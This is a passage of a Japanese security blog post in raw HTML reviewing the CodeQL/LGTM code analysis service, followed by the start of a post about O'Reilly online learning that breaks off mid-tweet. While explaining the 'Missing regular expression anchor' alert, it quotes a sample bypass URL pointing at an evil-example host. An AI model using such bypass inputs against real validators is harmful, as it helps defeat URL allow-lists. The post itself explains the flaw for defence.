href="http://d.hatena.ne.jp/keyword/CLI">CLI</a>ツールにCodeQLを利用してみたいと思います。</p> <p> </p> <p><a href="https://security-index.hatenablog.com/entry/2020/01/30/180000">go-cve-search 作ってみた - TDD, Circleci, Terminal Gif, Cliツール開発の話 - Security Index</a></p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200601/20200601085525.png" alt="f:id:security_index:20200601085525p:plain" title="f:id:security_index:20200601085525p:plain" class="hatena-fotolife" itemprop="image" width="457" /></p> <p> </p> <p> </p> <p>ログイン後はまだ何も対象プロジェクトが選択されていない状態なので、自分の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%DD%A5%B8%A5%C8%A5%EA">リポジトリ</a>のURLを入れ、Followボタンを押します。</p> <p>これだけでCodeQLによる<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>の確認、コードの品質チェックを行うことができます。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200601/20200601084933.png" alt="f:id:security_index:20200601084933p:plain" title="f:id:security_index:20200601084933p:plain" class="hatena-fotolife" itemprop="image" width="523" /></p> <p> </p> <p>私のプロジェクトでは「0 Alert」と表示され、何も問題がないという結果になりました。</p> <p>結果は<a href="https://lgtm.com/projects/g/s-index/go-cve-search/">このリンク</a>から誰でも確認することができます。</p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>プロジェクトヘの評価結果なので誰でも確認することができます。</p> <p> </p> <p> </p> <p>CodeQLでは他のプロジェクトの結果も見ることができ、例えば、「<a href="https://lgtm.com/projects/g/kubernetes/kubernetes/">kubernetes</a>」の結果をみてみると</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200601/20200601091335.png" alt="f:id:security_index:20200601091335p:plain" title="f:id:security_index:20200601091335p:plain" class="hatena-fotolife" itemprop="image" width="449" /></p> <p> </p> <p>このように、Alert 19件のうち、16 Warnings、3 Recommendationsという結果がわかります。</p> <p>左上をみると、<a class="keyword" href="http://d.hatena.ne.jp/keyword/kubernetes">kubernetes</a>がGo <a class="keyword" href="http://d.hatena.ne.jp/keyword/Python">Python</a> <a class="keyword" href="http://d.hatena.ne.jp/keyword/Javascript">Javascript</a>が使われており、Code qualityがCであることもわかります。</p> <p>現在、Go言語はベータ版のため、私のプロジェクトではCode qualityは表示されてませんでしたが、他の言語では確認することができます。</p> <p> </p> <h4 id="Alert--問題点の指摘">Alert : 問題点の指摘</h4> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/kubernetes">kubernetes</a>のWarningsのAlertを2件紹介します。</p> <p>・Disabled <a class="keyword" href="http://d.hatena.ne.jp/keyword/TLS">TLS</a> certificate check</p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/TLS">TLS</a>の証明書のチェックがoffになっていることを指摘しています。 </p> <p> </p> <p>・Missing regular expression anchor</p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%B5%B5%AC%C9%BD%B8%BD">正規表現</a>のアンカー ^ や $ が利用されていないことを指摘しています。 </p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200602/20200602214512.png" alt="f:id:security_index:20200602214512p:plain" title="f:id:security_index:20200602214512p:plain" class="hatena-fotolife" itemprop="image" width="514" /></p> <p> </p> <p>「Read more」より指摘内容の詳細を確認することもできます。</p> <p> </p> <p><a href="https://lgtm.com/rules/1510351666171/">Missing regular expression anchor</a>では、この指摘を直すための方法「アンカーを付けること」と、具体的な脆弱なコードの例とどういう場合に問題になるのか「<a href="http://evil-example.net/?x=http://example.com/">http://evil-example.net/?x=http://example.com/</a>のような URLを入力された場合にバイパスできる恐れがある」、ReferenceとしてOWASPのリンクとCWEが紹介されています。</p> <p> </p> <p> </p> <h4 id="Code-quality--品質のグレード評価">Code quality : 品質のグレード評価</h4> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/kubernetes">kubernetes</a>のCode qualityを詳しくみてみると<a class="keyword" href="http://d.hatena.ne.jp/keyword/Python">Python</a>がC、<a class="keyword" href="http://d.hatena.ne.jp/keyword/Javascript">Javascript</a>はA+という評価になっています。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200601/20200601092032.png" alt="f:id:security_index:20200601092032p:plain" title="f:id:security_index:20200601092032p:plain" class="hatena-fotolife" itemprop="image" width="378" /></p> <p> </p> <p>A+やCなどの評価はどのように付いているかというと、CodeQLによって分析された他の<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>との品質の比較によって行われています。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200601/20200601093200.png" alt="f:id:security_index:20200601093200p:plain" title="f:id:security_index:20200601093200p:plain" class="hatena-fotolife" itemprop="image" width="432" /></p> <p> </p> <p>A+は同じくらいのコード行数の中で95-100%に位置しているということです。</p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/kubernetes">kubernetes</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/Python">Python</a>の結果を見てみると、395 Lines of codeで5 Alert。</p> <p>ほぼ同じコード行数の「<a href="https://lgtm.com/projects/g/kubernetes/autoscaler/">kubernetes/autoscaler</a>」は0 AlertのためA+になっています。</p> <p>(Alertの中には「Errors」「Warnings」「Recommendations」の3種類があり、重みづけされた評価になっています。<a href="https://lgtm.com/help/lgtm/project-scoring-grading-faqs#whats-the-difference-between-score-and-grade">参考</a>)</p> <p> </p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200601/20200601093411.png" alt="f:id:security_index:20200601093411p:plain" title="f:id:security_index:20200601093411p:plain" class="hatena-fotolife" itemprop="image" width="458" /></p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200601/20200601093515.png" alt="f:id:security_index:20200601093515p:plain" title="f:id:security_index:20200601093515p:plain" class="hatena-fotolife" itemprop="image" width="457" /></p> <p>(縦軸がCode quality、横軸がLines of code)</p> <p> </p> <p>単純にAlertが何件以上だったらCode qualityはB、のように評価するのではなく他の<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>との比較から品質を可視化するという部分が面白いです。</p> <p> </p> <h4 id="Compare--他のOSSと比較する">Compare : 他の<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>と比較する</h4> <p>「Compare」のタブで他の同じ言語の<a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>と品質を比較することができます。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200601/20200601210025.png" alt="f:id:security_index:20200601210025p:plain" title="f:id:security_index:20200601210025p:plain" class="hatena-fotolife" itemprop="image" width="601" /></p> <p> </p> <p>縦軸 Alertの数、横軸 コード行数の点グラフで表現されています。</p> <p>Contributorsの数によって円の大きさが変わってきます。</p> <p> </p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200601/20200601090846.png" alt="f:id:security_index:20200601090846p:plain" title="f:id:security_index:20200601090846p:plain" class="hatena-fotolife" itemprop="image" width="443" /></p> <p> </p> <h4 id="Queries--CodeQLで指摘する内容一覧">Queries : CodeQLで指摘する内容一覧</h4> <p>各言語毎にどんな指摘を行うのかを示したクエリー一覧を見ることができます。</p> <p> </p> <h5 id="goのquery">goのquery</h5> <p>goでは36個のクエリーが用意されており、先ほどAlertで指摘があった<a class="keyword" href="http://d.hatena.ne.jp/keyword/TLS">TLS</a>の証明書や<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%B5%B5%AC%C9%BD%B8%BD">正規表現</a>の指摘に加え、意味のない、絶対に通らないパスをもつif文、switchケースの指摘などもあります。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200603/20200603223027.png" alt="f:id:security_index:20200603223027p:plain" title="f:id:security_index:20200603223027p:plain" class="hatena-fotolife" itemprop="image" width="464" /></p> <p> </p> <h5 id="JavaScriptのquery"><a class="keyword" href="http://d.hatena.ne.jp/keyword/JavaScript">JavaScript</a>のquery</h5> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/JavaScript">JavaScript</a>では166ものクエリーが用意されています。</p> <p><a href="https://lgtm.com/rules/10030084/">let宣言する前の変数にアクセスを行うとランタイムエラーになる</a>ことの指摘や、<a href="https://lgtm.com/rules/1506471090254/">ElectronでwebSecurityの設定をfalseにしていること</a>などをチェックしてくれます。</p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/JavaScript">JavaScript</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A2%A5%F3%A5%C1%A5%D1%A5%BF%A1%BC%A5%F3">アンチパターン</a>が166個紹介されているようなものなのでここのクエリーを見て学ぶこともできそうです。</p> <p>CodeQLを使うことでセキュリティだけでなく、よくない書き方をした場合にコミットしたタイミングなどでチェックしてくれるので意図せず悪いコードが組み込まれることを不正でくれます。</p> <p> </p> <p>lintツールを使うことで同様に確認できるものもあると思いますが、CodeQLではコードを一度全て解析してデータベースとしたものへクエリーを使ってチェックをするため、精度が高くなったりlintでは発見できないようなものもチェックできると思います。</p> <p> </p> <h4 id="History--過去のAlertの数の推移"><a class="keyword" href="http://d.hatena.ne.jp/keyword/History">History</a> : 過去のAlertの数の推移</h4> <p>これまでのコード行数とAlertの数の推移を見ることができる。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200602/20200602223039.png" alt="f:id:security_index:20200602223039p:plain" title="f:id:security_index:20200602223039p:plain" class="hatena-fotolife" itemprop="image" width="537" /></p> <p> </p> <p>実際にCodeQLを開発に組み込んで使っていくのであれば面白い機能だと思います。</p> <p>開発が進みコード行数が増えていく中でAlertの数を増やさずに、システム全体の品質を維持しながらちゃんと開発できているのか確認できたり、Alertが増加したタイミングはいつで、何があったのかをちゃんと追えるようになります。</p> <p> </p> <p>CodeQLはCIに組み込んで使うものだと思いますので、AlertでErrorのものが一つでもあったらCIでエラーになる、などの運用をしっかり回せれば品質を維持できそうです。</p> <p>このような運用を回すためにもCodeQLのErrorがFalse Positiveではないことが必須です。</p> <p> </p> <h4 id="Integrations--Pull-RequestのAuto-Review--READMEのbadge--IDE">Integrations : Pull RequestのAuto Review &amp; READMEのbadge &amp; <a class="keyword" href="http://d.hatena.ne.jp/keyword/IDE">IDE</a> </h4> <h5 id="Pull-Request-Auto-Revie">Pull Request Auto Revie</h5> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>に CodeQLのアプリをインストールすることで Pull Requestがきた時点でCodeQLが自動で解析を行うようになります。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200605/20200605181504.png" alt="f:id:security_index:20200605181504p:plain" title="f:id:security_index:20200605181504p:plain" class="hatena-fotolife" itemprop="image" /></p> <p> </p> <p> <a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>上ですぐに新しく増えたAlertの数や fixされたAlertの数がわかるようになります。</p> <p> </p> <p><a href="https://lgtm.com/help/lgtm/about-automated-code-review">About automated code review - LGTM<br /></a></p> <p> </p> <h5 id="READMEBadge">README Badge</h5> <p>READMEに貼れる Badgeも提供されています。</p> <p>個人的にBadgeを貼るのが好きなので嬉しいです!</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200605/20200605182110.png" alt="f:id:security_index:20200605182110p:plain" title="f:id:security_index:20200605182110p:plain" class="hatena-fotolife" itemprop="image" width="404" /></p> <p> </p> <p>実際に自分のプロジェクトのREADMEにも貼りました。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200605/20200605182206.png" alt="f:id:security_index:20200605182206p:plain" title="f:id:security_index:20200605182206p:plain" class="hatena-fotolife" itemprop="image" width="501" /></p> <p><a href="https://github.com/s-index/go-cve-search">GitHub - s-index/go-cve-search: lightweight CVE search</a></p> <p> </p> <p>Releaseバージョン、Circle CI、go report、lgtm、ライセンスのBadgeと5つも付けてます。</p> <p> </p> <h5 id="IDEでAlert確認"><a class="keyword" href="http://d.hatena.ne.jp/keyword/IDE">IDE</a>でAlert確認</h5> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Eclipse">Eclipse</a> <a class="keyword" href="http://d.hatena.ne.jp/keyword/IDE">IDE</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%E9%A5%B0%A5%A4%A5%F3">プラグイン</a>も用意されており、<a class="keyword" href="http://d.hatena.ne.jp/keyword/IDE">IDE</a>上からAlertの数の確認もできるようです。</p> <p>CodeQL (LGTM)のWeb上でコードのどこが間違っているのかを確認せずに、<a class="keyword" href="http://d.hatena.ne.jp/keyword/IDE">IDE</a>上でどこにどんな問題が出ているのかlintツールでのアラートのような形でチェックできるようです。</p> <p> </p> <p>今は<a class="keyword" href="http://d.hatena.ne.jp/keyword/Eclipse">Eclipse</a>のみ対応ですが、今後他の<a class="keyword" href="http://d.hatena.ne.jp/keyword/IDE">IDE</a>、おそらく<a class="keyword" href="http://d.hatena.ne.jp/keyword/VSCode">VSCode</a>に対応していくと思います。</p> <p> </p> <h5 id="IDEでクエリー-Local-Analysis"><a class="keyword" href="http://d.hatena.ne.jp/keyword/IDE">IDE</a>でクエリー (Local Analysis)</h5> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/VSCode">VSCode</a>を使って、自分で書いたクエリーを自分のプロジェクトに実行し、解析することができます。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200605/20200605183322.png" alt="f:id:security_index:20200605183322p:plain" title="f:id:security_index:20200605183322p:plain" class="hatena-fotolife" itemprop="image" width="468" /></p> <p> </p> <p>対象プロジェクトの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%BD%A1%BC%A5%B9%A5%B3%A1%BC%A5%C9">ソースコード</a>をCodeQLのクエリーで解析できる形にしたものをCodeQL databaseといい、そのデータベースを使って解析することができます。</p> <p>解析のためには<a class="keyword" href="http://d.hatena.ne.jp/keyword/VSCode">VSCode</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%E9%A5%B0%A5%A4%A5%F3">プラグイン</a>が必要になります。</p> <p>詳しい内容は後述する「<a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a> Learning Lab」で学ぶことができます。</p> <p> </p> <p> </p> <h4 id="対応言語">対応言語</h4> <p>CodeQL (LGTM)の対応言語は<a href="https://lgtm.com/help/lgtm/analysis-faqs#which-languages-are-supported">ここ</a>に書いてあるように以下の6つです。</p> <ul> <li> C, <a class="keyword" href="http://d.hatena.ne.jp/keyword/C%2B%2B">C++</a></li> <li><a class="keyword" href="http://d.hatena.ne.jp/keyword/C%23">C#</a></li> <li>Go</li> <li><a class="keyword" href="http://d.hatena.ne.jp/keyword/Java">Java</a></li> <li><a class="keyword" href="http://d.hatena.ne.jp/keyword/JavaScript">JavaScript</a> / TypeScript</li> <li><a class="keyword" href="http://d.hatena.ne.jp/keyword/Python">Python</a></li> </ul> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200605/20200605085920.png" alt="f:id:security_index:20200605085920p:plain" title="f:id:security_index:20200605085920p:plain" class="hatena-fotolife" itemprop="image" width="511" /></p> <p> </p> <p>また、上記の<a class="keyword" href="http://d.hatena.ne.jp/keyword/JavaScript">JavaScript</a>のqueryの例で書いたように各言語の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D5%A5%EC%A1%BC%A5%E0%A5%EF%A1%BC%A5%AF">フレームワーク</a>やライブラリーの一部も対応しており、それに応じたAlertを出すことができます。</p> <p> </p> <p>一部紹介すると</p> <ul> <li> <a class="keyword" href="http://d.hatena.ne.jp/keyword/C%23">C#</a> : <a class="keyword" href="http://d.hatena.ne.jp/keyword/ASP.NET">ASP.NET</a>、<a class="keyword" href="http://d.hatena.ne.jp/keyword/ASP.NET">ASP.NET</a> Core</li> <li><a class="keyword" href="http://d.hatena.ne.jp/keyword/Java">Java</a> : <a class="keyword" href="http://d.hatena.ne.jp/keyword/JDBC">JDBC</a>、Spring <a class="keyword" href="http://d.hatena.ne.jp/keyword/MVC">MVC</a>、<a class="keyword" href="http://d.hatena.ne.jp/keyword/Struts">Struts</a></li> <li><a class="keyword" href="http://d.hatena.ne.jp/keyword/JavaScript">JavaScript</a> : angularjs、electron、<a class="keyword" href="http://d.hatena.ne.jp/keyword/jquery">jquery</a>、react</li> <li><a class="keyword" href="http://d.hatena.ne.jp/keyword/Python">Python</a> : Bottle、<a class="keyword" href="http://d.hatena.ne.jp/keyword/Django">Django</a>、Flask</li> </ul> <p> </p> <p>詳しくは<a href="https://help.semmle.com/QL/ql-support/framework-support.html">Frameworks and libraries — Supported languages and frameworks</a>に書かれています。</p> <p> </p> <h3 id="CodeQLを学んでみる">CodeQLを学んでみる</h3> <p>自分でCodeQLのクエリーを書くこともできます。</p> <p>Goはまだ標準の build-in query が少ないので自分で書いて<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>や品質チェックを行うこともできます。</p> <p>比較的書きやすいものではありますが、 False Positive / False Negative なく自分の確認したいものだけを検知させる綺麗なクエリーを書くこともやはり難しいように感じます。</p> <p> </p> <h4 id="Github-Learning-Lab"><a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a> Learning Lab</h4> <p><a href="https://lab.github.com/githubtraining/codeql-u-boot-challenge-(cc++)">CodeQL U-Boot Challenge (C/C++) | GitHub Learning Lab</a></p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>のLearning LabでCodeQLのクエリーを実際に書いて学べるコースが提供されています。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200602/20200602224047.png" alt="f:id:security_index:20200602224047p:plain" title="f:id:security_index:20200602224047p:plain" class="hatena-fotolife" itemprop="image" width="477" /></p> <p> </p> <p>10 Stepあり、最終的にはU-Bootで実際にCodeQLを使って発見したRCE (Remote Code Execution)の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>(<a href="https://securitylab.github.com/research/cve-2018-4259-macos-nfs-vulnerability">CVE-2018-4259</a>)を見つけるというものになっています。</p> <p> </p> <p>進め方はコースを始めると<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%DD%A5%B8%A5%C8%A5%EA">リポジトリ</a>がクローンされ、Issueが発行されるのでそのIssueに書かれた説明を読みながらプルリクを発行し、答えがあっていたらマージされ、次のIssueが発行される、という流れです。</p> <p> </p> <p>Githunを使ってe-Learningができるというのが個人的にとても面白かったです。</p> <p> </p> <p><a href="https://github.com/s-index/codeql-uboot/issues/1">Step1のIssue</a>はこのような感じです。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200602/20200602224812.png" alt="f:id:security_index:20200602224812p:plain" title="f:id:security_index:20200602224812p:plain" class="hatena-fotolife" itemprop="image" width="528" /></p> <p> </p> <p> </p> <h4 id="CTF">CTF</h4> <p>CodeQLのCTFも開催されています。</p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200602/20200602222139.png" alt="f:id:security_index:20200602222139p:plain" title="f:id:security_index:20200602222139p:plain" class="hatena-fotolife" itemprop="image" width="486" /></p> <p> </p> <p><a href="https://securitylab.github.com/ctf">Capture the flag - GitHub Security Lab</a></p> <p> </p> <p>Best submissionに選ばれると</p> <p> </p> <blockquote> <p><strong style="box-sizing: border-box; font-weight: 600; color: #24292e; font-family: -apple-system, system-ui, 'Segoe UI', Helvetica, Arial, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji'; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial;"><a href="https://amzn.to/3dAeqRT">Bose Noise Cancelling Headphones 700 with Charging Case</a></strong></p> </blockquote> <p> </p> <p>Second and third best submissionsに選ばれると</p> <p> </p> <blockquote> <p><strong style="box-sizing: border-box; font-weight: 600; color: #24292e; font-family: -apple-system, system-ui, 'Segoe UI', Helvetica, Arial, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji'; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial;"><a class="keyword" href="http://d.hatena.ne.jp/keyword/Nintendo%20Switch">Nintendo Switch</a> with gray <a class="keyword" href="http://d.hatena.ne.jp/keyword/Joy-Con">Joy-Con</a></strong></p> </blockquote> <p> </p> <p>が貰えるみたいです! </p> <p>(この<a class="keyword" href="http://d.hatena.ne.jp/keyword/Bose">Bose</a>のヘッドフォンは45,000円ほどする結構いいもの)</p> <p> </p> <p>今回が4回目の開催で過去3回分のCTFの問題も公開されています。</p> <p>3回目の<a href="https://securitylab.github.com/ctf/jquery">CTF 3: XSS-unsafe jQuery plugins</a>では一部回答とFeedbackも掲載されているので参考になります。</p> <p>3回目のCTFも<a class="keyword" href="http://d.hatena.ne.jp/keyword/jQuery">jQuery</a>の過去に実際に問題となったもの(<a href="https://nvd.nist.gov/vuln/detail/CVE-2018-14040">CVE-2018-14040</a>など)が題材となっているため面白いです。</p> <p> </p> <h3 id="最後に">最後に</h3> <p>今後 <a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>から正式に利用可能になり、ますます利用されるようになると思います。</p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a>であればSemmleから無料で利用可能で、導入も簡単です。</p> <p>より高度に使うのであればCodeQLを学んで、自分でクエリーを書けるようになることでdefaultで入っているチェック以上のこともできるようになります。</p> <p> </p> <p>独自のクエリーを書くメリットとしては、例えばCTFの題材になっていたように<a class="keyword" href="http://d.hatena.ne.jp/keyword/jQuery">jQuery</a>で一つ<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>となるコードを見つけたときに、そこと同じような書き方の問題のある部分をクエリーを使って特定する、というような形です。</p> <p>クエリーにすることで<a class="keyword" href="http://d.hatena.ne.jp/keyword/jQuery">jQuery</a>の中の全てのコードをチェックできるだけでなく、<a class="keyword" href="http://d.hatena.ne.jp/keyword/jQuery">jQuery</a>以外のプロジェクトにも横展開してチェックできるようになります。</p> <p> </p> <p>ただ、False Positive / False Negativeのないクエリーを書くことは難しく、品質の高いクエリーを多く作り出すことがSemmleにとっても資産になるために、CTFやe-Learningを作成し、コミュニティ活動も行っているように思われます。</p> <p> </p> <p> </p> <p>CodeQLだけではなく、海外の最新の情報を得ることは重要だと思いますので<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AA%A5%E9%A5%A4%A5%EA%A1%BC">オライリー</a>本などを読むとより最新でかつ深い内容を知ることができます。</p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/O%A1%C7Reilly">O’Reilly</a> online learningを使うことで英語版の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AA%A5%E9%A5%A4%A5%EA%A1%BC">オライリー</a>本が比較的安価で読み放題にできるのでおすすめです。</p> <p><a href="https://security-index.hatenablog.com/entry/2020/05/30/163931">英語のオライリー本読み放題サブスクO’Reilly online learningを使ってみたらとても良かった - Security Index</a></p> <p> </p> <p><a href="https://twitter.com/security_index">(@security_index) | Twitter</a></p> <p> </p> <p><img border="0" src="//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&amp;ASIN=4873118352&amp;Format=_SL160_&amp;ID=AsinImage&amp;MarketPlace=JP&amp;ServiceVersion=20070822&amp;WS=1&amp;tag=umimimi-22&amp;language=ja_JP" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Helvetica, Arial, sans-serif;" /><a href="https://www.amazon.co.jp/DevOps-%E3%83%8F%E3%83%B3%E3%83%89%E3%83%96%E3%83%83%E3%82%AF-%E7%90%86%E8%AB%96%E3%83%BB%E5%8E%9F%E5%89%87%E3%83%BB%E5%AE%9F%E8%B7%B5%E3%81%AE%E3%81%99%E3%81%B9%E3%81%A6-%E3%82%B8%E3%83%BC%E3%83%B3%E3%83%BB%E3%82%AD%E3%83%A0-ebook/dp/B073PRMWR5/ref=as_li_ss_il?_encoding=UTF8&amp;qid=&amp;sr=&amp;linkCode=li2&amp;tag=umimimi-22&amp;linkId=c25ffc360f79330425ba5ba513387c5b&amp;language=ja_JP" target="_blank"><img border="0" src="//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&amp;ASIN=B073PRMWR5&amp;Format=_SL160_&amp;ID=AsinImage&amp;MarketPlace=JP&amp;ServiceVersion=20070822&amp;WS=1&amp;tag=umimimi-22&amp;language=ja_JP" /></a><img src="https://ir-jp.amazon-adsystem.com/e/ir?t=umimimi-22&amp;language=ja_JP&amp;l=li2&amp;o=9&amp;a=B073PRMWR5" width="1" height="1" border="0" alt="" style="border: none !important; margin: 0px !important;" /><img border="0" src="//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&amp;ASIN=4873118883&amp;Format=_SL160_&amp;ID=AsinImage&amp;MarketPlace=JP&amp;ServiceVersion=20070822&amp;WS=1&amp;tag=umimimi-22&amp;language=ja_JP" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Helvetica, Arial, sans-serif;" /></p> <p> </p> security_index オライリー本読み放題サブスクO’Reilly online learningを使ってみたらとても良かった hatenablog://entry/26006613576434078 2020-05-30T16:39:31+09:00 2023-09-05T17:58:45+09:00 オライリー本読み放題のサービス「O’Reilly online learning」 (旧 Safari Online Books)を使ってみたところとても良かったのでまとめてみました! (更新 2022/08/06 ACMの会員特典からO’Reilly online learningがなくなりました。そのため、ACMの会員になってもO’Reillyを読むことができないのでご注意ください。) (更新 2020/11/17 日本語の書籍が一部追加されたそうです!) 今までは英語などのみでしたが、日本語の書籍が一部読み放題の対象となったそうです! (更新 2020/06/12 内容を更新しました!)… <p>オライリー本読み放題のサービス「<a href="https://www.oreilly.com/">O’Reilly online learning</a>」 (旧 Safari Online Books)を使ってみたところとても良かったのでまとめてみました!</p> <p> </p> <p>(更新 2022/08/06 ACMの会員特典からO’Reilly online learningがなくなりました。そのため、ACMの会員になってもO’Reillyを読むことができないのでご注意ください。)</p> <p> </p> <p>(更新 2020/11/17 日本語の書籍が一部追加されたそうです!)</p> <p>今までは英語などのみでしたが、日本語の書籍が一部読み放題の対象となったそうです!</p> <p> </p> <p>(更新 2020/06/12 内容を更新しました!)</p> <p>ACMの会員の特典ではオンライントレーニングなどの一部サービスが2020/06/22から利用できなくなりました。オライリー本の読み放題サービスは継続して利用できます!</p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200530/20200530104955.jpg" alt="f:id:security_index:20200530104955j:plain" title="f:id:security_index:20200530104955j:plain" class="hatena-fotolife" itemprop="image" /></p> <p> </p> <ul class="table-of-contents"> <li><a href="#OReilly-online-learningとは">O’Reilly online learningとは</a><ul> <li><a href="#英語のオライリー本が読み放題">英語のオライリー本が読み放題</a><ul> <li><a href="#価格">価格</a></li> </ul> </li> <li><a href="#年間99ドルで読む方法">年間$99ドルで読む方法</a></li> <li><a href="#コンテンツ">コンテンツ</a><ul> <li><a href="#オライリー本">オライリー本</a></li> <li><a href="#Manning-Publications">Manning Publications</a></li> <li><a href="#動画のコンテンツ">動画のコンテンツ</a></li> <li><a href="#資格の学習">資格の学習</a></li> <li><a href="#それ以外">それ以外</a></li> <li><a href="#OReilly-online-learningにはないもの">O’Reilly online learningにはないもの</a></li> </ul> </li> <li><a href="#使いやすさ">使いやすさ </a><ul> <li><a href="#ブラウザ">ブラウザ</a></li> <li><a href="#アプリ">アプリ</a></li> <li><a href="#検索機能">検索機能</a></li> </ul> </li> </ul> </li> <li><a href="#最後に">最後に</a></li> </ul> <p> </p> <h3 id="OReilly-online-learningとは">O’Reilly online learningとは</h3> <h4 id="英語のオライリー本が読み放題">英語のオライリー本が読み放題</h4> <p>O’Reilly online learningとは英語版のオライリーの本が読み放題のサブスクサービスでO’Reilly Mediaが運営しています。</p> <p>(O’Reilly Mediaの日本法人がオライリー・ジャパンのようです)</p> <h5 id="価格">価格</h5> <p>価格は、月額$49  or 年間$499となっており、オライリー本1.5冊分の価格で月に読み放題になるくらいの設定です。</p> <p> </p> <p>2020/05/30時点で言語毎のコンテンツ(本以外も含め)としては英語は51,445タイトルあるようです。</p> <p>英語以外のコンテンツも少しあります<span style="text-decoration: line-through;">が、日本語はないです</span>。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20201117/20201117202050.png" alt="f:id:security_index:20201117202050p:plain" title="" class="hatena-fotolife" itemprop="image" /></p> <p> </p> <p>(2020/11/17 追記)</p> <p>ついに日本語の書籍が一部対象となったそうです!</p> <blockquote class="twitter-tweet" data-conversation="none" data-lang="ja"> <p dir="ltr" lang="ja">オライリーサブスクリプションに、日本語書籍が!!!<br />タイトル検索も出版社検索もヒットしないので、ラインナップは今のところ不明だけれど、これはもうみんな課金するしかないのでは…? <a 